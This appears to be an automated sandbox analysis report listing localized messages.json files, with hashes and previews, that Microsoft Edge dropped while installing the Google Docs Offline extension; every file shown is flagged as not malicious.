SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Reputation:	unknown
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7712_943468006\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Reputation:	unknown
